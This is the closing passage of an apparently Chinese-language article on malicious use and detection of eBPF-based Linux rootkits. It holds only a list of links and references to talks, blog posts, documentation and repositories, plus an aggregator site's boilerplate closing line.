鏈接-12:https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool

鏈接-13:https://github.com/iovisor/bcc/blob/master/docs/reference_guide.md#11-lsm-probes

鏈接-14:https://github.com/libbpf/libbpf-bootstrap

鏈接-15:https://nakryiko.com/posts/bpf-core-reference-guide/

參考資料

1. Creating and Countering the Next Generation of Linux Rootkits:?DEF CON 29 - PatH - Warping Reality: Creating and Countering the Next Generation of Linux Rootkits

2. DEFCON 29 - eBPF, I thought we were friends：https://www.youtube.com/watch?v=5zixNDolLrg

3. eBPF的各種技術應用PDF集合:?https://github.com/ehids/slide

4. Offensive BPF: Malicious bpftrace :?https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/

5. Bad BPF - Warping reality using eBPF：https://blog.tofile.dev/2021/08/01/bad-bpf.html

6. Lifetime of BPF objects:?https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html

7. BPF程序（BPF Prog）類型詳解：使用場景、函數簽名、執行位置及程序示例:https://arthurchiao.art/blog/bpf-advanced-notes-1-zh

8. Features of bpftool: the thread of tips and examples to work with eBPF objects:?https://qmonnet.github.io/whirl-offload/2021/09/23/bpftool-features-thread/

9. Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool:?https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool

10. Creating and countering the next generation of Linux rootkits using eBPF:?Creating and countering the next generation of Linux rootkits using eBPF?Pat Hogan

11. eBPF Syscall:?https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html

12. Cilium eBPF實現機制源碼分析:?https://www.cnxct.com/how-does-cilium-use-ebpf-with-go-and-c/

13. ebpfkit is a rootkit powered by eBPF:?https://github.com/Gui774ume/ebpfkit

總結

以上是生活随笔為你收集整理的Linux中基于eBPF的恶意利用与检测机制（rootkit、驱动）的全部內容，希望文章能夠幫你解決所遇到的問題。

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